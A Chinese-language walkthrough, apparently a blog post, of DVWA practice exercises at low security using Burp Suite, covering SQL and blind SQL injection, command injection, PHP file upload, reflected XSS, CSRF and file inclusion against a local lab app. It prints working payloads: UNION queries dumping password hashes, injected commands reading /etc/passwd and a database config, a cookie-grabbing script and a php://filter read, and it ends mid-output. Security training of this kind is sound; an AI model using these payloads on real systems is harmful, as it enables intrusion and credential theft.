做一些使用Brup Suite的训练(基础版)

5987 字
30 分钟
做一些使用Brup Suite的训练(基础版)

难度为low,先从基础打起#

一、SQL Injection#

简单的sql注入,这次不从框下手,而是在url做文章

1. 先尝试1'#

GET /vulnerabilities/sqli/?id=1%27&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/vulnerabilities/sqli/
Accept-Encoding: gzip, deflate, br
Cookie: security=low; PHPSESSID=2b8bb834317b0c774d0ed09680f57912
Connection: keep-alive

Tips — url编码 会用到的:

  • %20 → 空格
  • %27 → 单引号 ’
  • %23 → 井号 #
  • %2C → 逗号 ,
  • %3D → 等号 =

其他常用的:

  • %22 → 双引号 ”
  • %26 → &
  • %3B → 分号 ;
  • %28“%29 → 左右括号
  • %2F → 斜杠 /
  • %3C``%3E → <``>
  • %2D → 连字符 -
  • %5F → 下划线 _

字母、数字,以及 -._“~ 这四个符号,在 URL 里是安全的,不编码也能正常工作。其余字符编码了都不影响语义,只是变长。 在 Burp 里选中要编码的片段 → 右键 → Convert selection → URL → URL-encode key characters。它会自动把空格、引号、#、& 这些换成 %XX,字母数字保持不变。 双重编码:% 本身也能被编码,它的编码是 %25。所以 %27 再编码一次会变成 %2527:% → %25,后面 27 原样保留。用于绕过waf。


返回

HTTP/1.1 200 OK
Date: Tue, 20 Oct 2026 00:36:39 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.5.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 581
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<br />
<b>Fatal error</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 in /var/www/html/vulnerabilities/sqli/source/low.php:11
Stack trace:
#0 /var/www/html/vulnerabilities/sqli/source/low.php(11): mysqli_query(Object(mysqli), 'SELECT first_na...')
#1 /var/www/html/vulnerabilities/sqli/index.php(34): require_once('/var/www/html/v...')
#2 {main}
thrown in <b>/var/www/html/vulnerabilities/sqli/source/low.php</b> on line <b>11</b><br />
  • mysqli_sql_exception:PHP 抛出的数据库异常对象
  • You have an error in your SQL syntax:SQL 语句语法不成立
  • MariaDB server version:数据库类型暴露了,后面写 payload 要靠它
  • near ''1''':出错位置的片段。最外层两个引号是报错的包裹,里面真正的内容是 '1''——那个1'拼进去后,多出来的一个引号
  • low.php:11:文件路径和行号都给了

2. 尝试AND '1'='1#

GET /vulnerabilities/sqli/?id=1%27%20AND%20%271%27%3D%271&Submit=Submit HTTP/1.1

报错消失,返回一行

<pre>ID: 1' AND '1'='1<br />First name: admin<br />Surname: admin</pre>

3. 尝试AND '1'='2#

GET /vulnerabilities/sqli/?id=1%27%20AND%20%271%27%3D%272&Submit=Submit HTTP/1.1

页面里没有任何<pre>块,只有表单

4. 尝试OR '1'='1#

GET /vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit HTTP/1.1

返回

<pre>
ID: 1' OR '1'='1<br />
First name: admin<br />
Surname: admin
</pre>
<pre>
ID: 1' OR '1'='1<br />
First name: Gordon<br />
Surname: Brown
</pre>
<pre>
ID: 1' OR '1'='1<br />
First name: Hack<br />
Surname: Me
</pre>
<pre>
ID: 1' OR '1'='1<br />
First name: Pablo<br />
Surname: Picasso
</pre>
<pre>
ID: 1' OR '1'='1<br />
First name: Bob<br />
Surname: Smith
</pre>

5. 尝试查询密码#

SELECT first_name, last_name FROM users WHERE user_id = '-1'
UNION SELECT user, password FROM users#';
GET /vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%20user%2Cpassword%20FROM%20users%23&Submit=Submit HTTP/1.1

返回

<pre>
ID: -1' UNION SELECT user,password FROM users#<br />
First name: admin<br />
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
</pre>
<pre>
ID: -1' UNION SELECT user,password FROM users#<br />
First name: gordonb<br />
Surname: e99a18c428cb38d5f260853678922e03
</pre>
<pre>
ID: -1' UNION SELECT user,password FROM users#<br />
First name: 1337<br />
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
</pre>
<pre>
ID: -1' UNION SELECT user,password FROM users#<br />
First name: pablo<br />
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
</pre>
<pre>
ID: -1' UNION SELECT user,password FROM users#<br />
First name: smithy<br />
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
</pre>

拿到密码,完结撒花


Tips — 关于这几个语句

  • 1' AND '1'='1 拼出来是WHERE user_id = '1' AND '1'='1',‘1’(闭合)、AND ‘1’=‘1’(新条件)、末尾那个 ’ 是原 SQL 自带的收尾引号——它刚好跟 ‘1’ 的开引号配成一对。对每一行判断:user_id = ‘1’ 为真,并且 ‘1’=‘1’ 恒真,所以只有 user_id=1 那行通过。
  • 1' AND '1'='2 拼出来是WHERE user_id = '1' AND '1'='2',‘1’=‘2’ 恒假。任何一行都过不了 AND,结果集为空。
  • 1' OR '1'='1 拼出来WHERE user_id = '1' OR '1'='1',‘1’=‘1’ 恒真,OR 只要一边真就算真——所以每一行都通过,5 行全出来。这就是 OR ‘1’=‘1’ 能拿到全表的原因:它不是”绕过了条件”,而是让条件对每一行都成立。
  • -1' UNION SELECT user,password FROM users# 拼出来
SELECT first_name, last_name FROM users WHERE user_id = '-1'
UNION
SELECT user, password FROM users
#';

UNION —— 把上下两个查询的结果拼成一个结果集(上下叠,不是左右拼) 两个查询的列数必须一样,原查询 2 列,所以右边也写 2 列 位置对应:user 落到 first_name 显示的位置,password 落到 last_name 的位置 -1 —— 让第一个查询查不到东西,结果里就只剩 UNION 追加的部分 # —— 注释掉原 SQL 剩下的 ‘;#

二、SQL Injection (Blind)#

1. 一样的套路先尝试1'#

GET /vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1

返回

<pre>
User ID exists in the database.
</pre>

盲注只返回结果存不存在

2. 尝试AND '1'='1#

GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20%271%27%3D%271&Submit=Submit HTTP/1.1

也返回

<pre>
User ID exists in the database.
</pre>

3. 尝试AND '1'='2#

GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20%271%27%3D%272&Submit=Submit HTTP/1.1

这次返回

<pre>
User ID is MISSING from the database.
</pre>

4. 猜密码,直接猜个数字5#

SELECT ... FROM users WHERE user_id = '1'
AND SUBSTRING((SELECT password FROM users WHERE user_id=1), 1, 1) = '5'#'
GET /vulnerabilities/sqli_blind/?id=1%27%20AND%20SUBSTRING((SELECT%20password%20FROM%20users%20WHERE%20user_id%3D1)%2C1%2C1)%3D%275%27%23&Submit=Submit HTTP/1.1

返回

<pre>
User ID exists in the database.
</pre>

说明密码的第一个字符是5


Tips — 为什么 OR 在盲注里失效

WHERE user_id = '1' AND '1'='2'
WHERE user_id = '1' OR '1'='2'

第一条:user_id=‘1’ 真,但 ‘1’=‘2’ 假,AND 要求全真,整行被否掉 → 结果集空 → 页面 MISSING。 第二条:user_id=‘1’ 真,OR 只要一个真就够,整行通过 → 结果集非空 → 页面 exists。

关键就在这:条件为假时,OR 被前半段的 user_id=‘1’ 救活了。页面永远回 exists,一个比特都读不出来。#

这类问题在我的文章布尔盲注的二分算法中有写,这里直接完结了。


三、Command Injection#

命令执行

先填地址#

在框里填127.0.0.1,抓包,发现在Request里最下面有ip=127.0.0.1&Submit=Submit

直接send,复现返回ping的结果

<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.082 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.094 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.094 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.068 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3061ms
rtt min/avg/max/mdev = 0.068/0.084/0.094/0.010 ms
</pre>

在地址后面加上;id#

发现返回有变化

<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.064 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.091 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.059 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3090ms
rtt min/avg/max/mdev = 0.059/0.075/0.091/0.014 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>

Tips — Linux里的用户

root 特殊在哪 uid 0 是唯一能绕过常规权限检查的身份。​普通用户受文件权限约束:文件是 640,你不是属主也不是同组,就是读不了。root 不受这个约束——它能读任何文件、改任何文件、改文件属主、绑定 1024 以下端口、装内核模块。

www-data 是什么 它是系统服务账号,不是给人登录用的:没有可用密码,shell 通常是 /usr/sbin/nologin,存在的唯一目的:让 Web 服务以一个低权限身份运行

具体差异

同样是 cat /etc/shadow: root:能读到哈希 www-data:Permission denied

同样改 /etc/passwd: root:能改 www-data:只读

同样装软件: root:apt install 能跑 www-data:没有权限


www-data 是 Debian 系镜像里 Apache 的默认运行用户,uid 固定是 33。 说明我现在在这个主机里的身份是www-data


Tips — 分隔符

  • ; → 顺序执行,前一条跑完再跑后一条(最常用)
  • | → 管道,把前一条的输出交给后一条当输入
  • && → 前一条成功才跑后一条
  • || → 前一条失败才跑后一条
  • $() → 命令替换,把里面的输出当成字符串塞回去

在地址后面加cat /etc/passwd#

ip=127.0.0.1;cat /etc/passwd&Submit=Submit

返回

<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.161 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.087 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.072 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.093 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3112ms
rtt min/avg/max/mdev = 0.072/0.103/0.161/0.034 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

这是 /etc/passwd,Linux 的用户账户数据库。每行一个用户,七个字段,用冒号分隔。

读源码#

ip=127.0.0.1;ls -la /var/www/html&Submit=Submit

返回

<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.102 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.096 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.095 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.097 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3070ms
rtt min/avg/max/mdev = 0.095/0.097/0.102/0.002 ms
total 652
drwxrwxrwt 1 www-data www-data 4096 Oct 7 14:15 .
drwxr-xr-x 1 root root 4096 Oct 6 01:21 ..
-rw-r--r-- 1 www-data www-data 474 Oct 7 14:15 .gitattributes
-rw-r--r-- 1 www-data www-data 7134 Oct 7 14:15 CHANGELOG.md
-rw-r--r-- 1 www-data www-data 32485 Oct 7 14:15 COPYING.txt
-rw-r--r-- 1 www-data www-data 27018 Oct 7 14:15 README.ar.md
-rw-r--r-- 1 www-data www-data 23561 Oct 7 14:15 README.es.md
-rw-r--r-- 1 www-data www-data 50737 Oct 7 14:15 README.fa.md
-rw-r--r-- 1 www-data www-data 23623 Oct 7 14:15 README.fr.md
-rw-r--r-- 1 www-data www-data 27946 Oct 7 14:15 README.id.md
-rw-r--r-- 1 www-data www-data 35216 Oct 7 14:15 README.it.md
-rw-r--r-- 1 www-data www-data 32720 Oct 7 14:15 README.ko.md
-rw-r--r-- 1 www-data www-data 33392 Oct 7 14:15 README.md
-rw-r--r-- 1 www-data www-data 30772 Oct 7 14:15 README.pl.md
-rw-r--r-- 1 www-data www-data 23033 Oct 7 14:15 README.pt.md
-rw-r--r-- 1 www-data www-data 54793 Oct 7 14:15 README.ru.md
-rw-r--r-- 1 www-data www-data 21687 Oct 7 14:15 README.tr.md
-rw-r--r-- 1 www-data www-data 53282 Oct 7 14:15 README.uk.md
-rw-r--r-- 1 www-data www-data 35011 Oct 7 14:15 README.vi.md
-rw-r--r-- 1 www-data www-data 18978 Oct 7 14:15 README.zh.md
-rw-r--r-- 1 www-data www-data 151 Oct 7 14:15 SECURITY.md
-rw-r--r-- 1 www-data www-data 2862 Oct 7 14:15 about.php
drwxr-xr-x 1 www-data www-data 4096 Oct 7 14:29 config
drwxr-xr-x 2 www-data www-data 4096 Oct 7 14:15 database
drwxr-xr-x 3 www-data www-data 4096 Oct 7 14:15 docs
drwxr-xr-x 6 www-data www-data 4096 Oct 7 14:15 dvwa
drwxr-xr-x 3 www-data www-data 4096 Oct 7 14:15 external
-rw-r--r-- 1 www-data www-data 1406 Oct 7 14:15 favicon.ico
drwxr-xr-x 5 www-data www-data 4096 Oct 7 14:15 hackable
-rw-r--r-- 1 www-data www-data 3678 Oct 7 14:15 index.php
-rw-r--r-- 1 www-data www-data 2053 Oct 7 14:15 instructions.php
-rw-r--r-- 1 www-data www-data 4343 Oct 7 14:15 login.php
-rw-r--r-- 1 www-data www-data 405 Oct 7 14:15 logout.php
-rw-r--r-- 1 www-data www-data 154 Oct 7 14:15 php.ini
-rw-r--r-- 1 www-data www-data 188 Oct 7 14:15 phpinfo.php
-rw-r--r-- 1 www-data www-data 25 Oct 7 14:15 robots.txt
-rw-r--r-- 1 www-data www-data 3300 Oct 7 14:15 security.php
-rw-r--r-- 1 www-data www-data 151 Oct 7 14:15 security.txt
-rw-r--r-- 1 www-data www-data 5552 Oct 7 14:15 setup.php
drwxr-xr-x 2 www-data www-data 4096 Oct 7 14:15 tests
drwxr-xr-x 1 www-data www-data 4096 Oct 7 14:15 vulnerabilities
</pre>

发现主机文件

读密码#

ip=127.0.0.1;cat /var/www/html/config/config.inc.php&Submit=Submit

返回

<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.110 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.148 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.094 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.097 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3111ms
rtt min/avg/max/mdev = 0.094/0.112/0.148/0.021 ms
<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = getenv('DBMS') ?: 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';
$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';
$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';
$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';
$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = getenv('RECAPTCHA_PUBLIC_KEY') ?: '';
$_DVWA[ 'recaptcha_private_key' ] = getenv('RECAPTCHA_PRIVATE_KEY') ?: '';
# Default security level
# Default value for the security level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = getenv('DEFAULT_SECURITY_LEVEL') ?: 'impossible';
# Default locale
# Default locale for the help page shown with each session.
# The default is 'en'. You may wish to set this to either 'en' or 'zh'.
$_DVWA[ 'default_locale' ] = getenv('DEFAULT_LOCALE') ?: 'en';
# Disable authentication
# Some tools don't like working with authentication and passing cookies around
# so this setting lets you turn off authentication.
$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
define ('MYSQL', 'mysql');
define ('SQLITE', 'sqlite');
# SQLi DB Backend
# Use this to switch the backend database used in the SQLi and Blind SQLi labs.
# This does not affect the backend for any other services, just these two labs.
# If you do not understand what this means, do not change it.
$_DVWA['SQLI_DB'] = getenv('SQLI_DB') ?: MYSQL;
#$_DVWA['SQLI_DB'] = SQLITE;
#$_DVWA['SQLITE_DB'] = 'sqli.db';
?>
</pre>

可以看出来

$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';
$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';
$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';
$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';
$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';

库名:dvwa 用户:dvwa 密码:p@ssw0rd 端口:3306

完结看下一题


四、File Upload#

文件上传

先随便上传一张图片#

Content-Disposition: form-data; name="uploaded"; filename="截屏2026-06-12 15.26.45.png"
Content-Type: image/png

返回

<pre>
../../hackable/uploads/截屏2026-06-12 15.26.45.png succesfully uploaded!
</pre>

落点是 hackable/uploads/,前面的 ../../ 是从 /vulnerabilities/upload/ 退回网站根。 文件名原样保留了——中文、空格、点号,一个字符都没改。说明服务端直接用了客户端提供的 filename,没重命名、没过滤。

改文件#

------WebKitFormBoundary1D8y2JPizU01HE3g
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary1D8y2JPizU01HE3g
Content-Disposition: form-data; name="uploaded"; filename="test.php"
Content-Type: application/x-php
<?php echo 7*7; ?>
------WebKitFormBoundary1D8y2JPizU01HE3g
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary1D8y2JPizU01HE3g--

Tips — 分割线

boundary 是一串随机字符,浏览器每次生成都不一样。 它的作用:在正文里画分隔线。正文中凡是出现 ------WebKitFormBoundary1D8y2JPizU01HE3g 这一行,就表示”上一段结束,下一段开始”。 随机是为了保证——这串字符几乎不可能恰好出现在你的文件内容里。如果固定成 ----,那文件里有个 ---- 就乱套了。

最后一行,------WebKitFormBoundary1D8y2JPizU01HE3g--前面每段的分隔线是 —boundary,最后一个是 —boundary—。这个 — 的意思是”到此为止,没有更多段了”。没有它,服务器不知道 body 结束了没有,可能一直等,或者直接判定不完整。


将png改成test.php,文件内容是<?php echo 7*7; ?>


Tips — 为什么php这样写 直接看源码:

if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

整段只做四件事:判断提交、算路径、移动文件、报结果。没有任何一句在检查”这个文件能不能传”。​

第一行:为什么是 POST[′Upload′]‘‘Upload是那个提交按钮的name。按钮也是表单字段,PHP会把它放进_POST['Upload']``Upload 是那个提交按钮的 name。按钮也是表单字段,PHP 会把它放进 _POST。所以 isset($_POST[‘Upload’]) 的语义是”用户点过提交按钮”。它是个流程开关,不是安全检查。作用是”没提交就别执行”。

第二行:路径是拼出来的。DVWA_WEB_PAGE_TO_ROOT 是个常量,指向网站根目录(/var/www/html/)。所以目标是 hackable/uploads/。

第三行:basename() 是这里唯一的防御,$_FILES[‘uploaded’][‘name’] 是客户端提供的文件名,来自 multipart 里那行:Content-Disposition: form-data; name="uploaded"; filename="test.php"这个值完全由自己控制。Burp 里写什么,它就是什么。basename() 的作用是去掉路径部分:它防的是”路径穿越”​——如果你写 filename=”../../../var/www/html/shell.php”,不加 basename 就会把文件写到 uploads 目录外面去。但它不改变后缀。shell.php 经过 basename 还是 shell.php。

第四行:为什么必须用 move_uploaded_file,不能换成 rename() 或 copy()。PHP 处理上传的流程是两步:文件先落到临时目录,比如 /tmp/phpAbC123,脚本结束后,临时文件自动删除。

$_FILES 的五个字段,必须分清可信度,一个上传文件在 PHP 里长这样:

$_FILES['uploaded']['name'] 客户端给的文件名 ← 不可信
$_FILES['uploaded']['type'] 客户端声明的 MIME ← 不可信
$_FILES['uploaded']['tmp_name'] 服务器生成的临时路径 ← 可信
$_FILES['uploaded']['error'] 错误码 ← 可信
$_FILES['uploaded']['size'] 实际字节数 ← 可信

前两个来自 multipart 请求头,攻击者想写什么写什么。后三个由 PHP 在收到文件后自己填,改不了。

<?php echo 7*7; ?>是探针,负责区分服务器是否把php当文件执行,还是当静态文件返回。访问它,页面显示 49,从”显示原文”变成”显示计算结果”,就证明服务器执行了它。​


返回

<pre>
../../hackable/uploads/test.php succesfully uploaded!
</pre>

打开页面显示49说明成功了,下一题。


五、XSS (Reflected)​#

反射型 XSS 指攻击者把恶意脚本作为请求的一部分发送给服务器,服务器没有存储,而是原样“反射”回响应页面,浏览器执行后触发。恶意代码不落地数据库,只存在于单次请求/响应中。

先输入test试试#

GET /vulnerabilities/xss_r/?name=test HTTP/1.1

返回

<pre>
Hello test
</pre>

输入<b>test</b>看看会不会执行html代码#

打开页面发现test变成粗体,说明被执行

输入<script>alert(1)</script>看看会不会执行js代码#

打开页面发现弹窗,说明被执行

输入<script>alert(document.cookie)</script>#

可以看到

PHPSESSID=2b8bb834317b0c774d0ed09680f57912; security=low

用户的个人状态

用

<script>fetch('/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change')</script>

可以直接改用户密码

那么到这里就完结了。


六、CSRF(跨站请求伪造)#

CSRF 不偷 cookie,它借用 cookie。你的浏览器会自动把当前站点的 cookie 带在请求上,攻击者只要让你”无意中访问一个链接”,那个请求就带着你的身份发出去了。

随便改个密码试试#

GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1

返回

<pre>
Password Changed.
</pre>​

发现它是 GET,参数全在 URL 里,没有 token,也不需要旧密码。

密码就直接改成123了,下一题。


七、File Inclusion(文件包含)#

原理: 代码写的是:

include( $_GET['page'] );

page 参数被直接当成文件路径交给 include。你让它包含哪个文件,它就包含哪个。

先抓包#

GET /vulnerabilities/fi/?page=file1.php HTTP/1.1

发现可以在url构造

试试绝对路径#

GET /vulnerabilities/fi/?page=/etc/passwd HTTP/1.1

返回

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

说明可以读任意文件

读config.inc.php#

直接 include 一个 .php 文件,你会看到它执行后的输出,不是源码。 用 php://filter 把它转成 base64 再输出:

page=php://filter/convert.base64-encode/resource=../config/config.inc.php

编码:

GET /vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2Fconfig%2Fconfig.inc.php HTTP/1.1

返回报错,发现用相对路径不行,要用绝对路径

/var/www/html/config/config.inc.php

编码:

GET /vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fvar%2Fwww%2Fhtml%2Fconfig%2Fconfig.inc.php HTTP/1.1

返回

PD9waHAKCiMgSWYgeW91IGFyZSBoYXZpbmcgcHJvYmxlbXMgY29ubmVjdGluZyB0byB0aGUgTXlTUUwgZGF0YWJhc2UgYW5kIGFsbCBvZiB0aGUgdmFyaWFibGVzIGJlbG93IGFyZSBjb3JyZWN0CiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4KIyAgIFRoYW5rcyB0byBAZGlnaW5pbmphIGZvciB0aGUgZml4LgoKIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UKJERCTVMgPSBnZXRlbnYoJ0RCTVMnKSA/OiAnTXlTUUwnOwojJERCTVMgPSAnUEdTUUwnOyAvLyBDdXJyZW50bHkgZGlzYWJsZWQKCiMgRGF0YWJhc2UgdmFyaWFibGVzCiMgICBXQVJOSU5HOiBUaGUgZGF0YWJhc2Ugc3BlY2lmaWVkIHVuZGVyIGRiX2RhdGFiYXNlIFdJTEwgQkUgRU5USVJFTFkgREVMRVRFRCBkdXJpbmcgc2V0dXAuCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuCiMKIyBJZiB5b3UgYXJlIHVzaW5nIE1hcmlhREIgdGhlbiB5b3UgY2Fubm90IHVzZSByb290LCB5b3UgbXVzdCB1c2UgY3JlYXRlIGEgZGVkaWNhdGVkIERWV0EgdXNlci4KIyAgIFNlZSBSRUFETUUubWQgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gdGhpcy4KJF9EVldBID0gYXJyYXkoKTsKJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSBnZXRlbnYoJ0RCX1NFUlZFUicpID86ICcxMjcuMC4wLjEnOwokX0RWV0FbICdkYl9kYXRhYmFzZScgXSA9IGdldGVudignREJfREFUQUJBU0UnKSA/OiAnZHZ3YSc7CiRfRFZXQVsgJ2RiX3VzZXInIF0gICAgID0gZ2V0ZW52KCdEQl9VU0VSJykgPzogJ2R2d2EnOwokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9IGdldGVudignREJfUEFTU1dPUkQnKSA/OiAncEBzc3cwcmQnOwokX0RWV0FbICdkYl9wb3J0J10gICAgICA9IGdldGVudignREJfUE9SVCcpID86ICczMzA2JzsKCiMgUmVDQVBUQ0hBIHNldHRpbmdzCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQojICAgWW91J2xsIG5lZWQgdG8gZ2VuZXJhdGUgeW91ciBvd24ga2V5cyBhdDogaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9yZWNhcHRjaGEvYWRtaW4KJF9EVldBWyAncmVjYXB0Y2hhX3B1YmxpY19rZXknIF0gID0gZ2V0ZW52KCdSRUNBUFRDSEFfUFVCTElDX0tFWScpID86ICcnOwokX0RWV0FbICdyZWNhcHRjaGFfcHJpdmF0ZV9rZXknIF0gPSBnZXRlbnYoJ1JFQ0FQVENIQV9QUklWQVRFX0tFWScpID86ICcnOwoKIyBEZWZhdWx0IHNlY3VyaXR5IGxldmVsCiMgICBEZWZhdWx0IHZhbHVlIGZvciB0aGU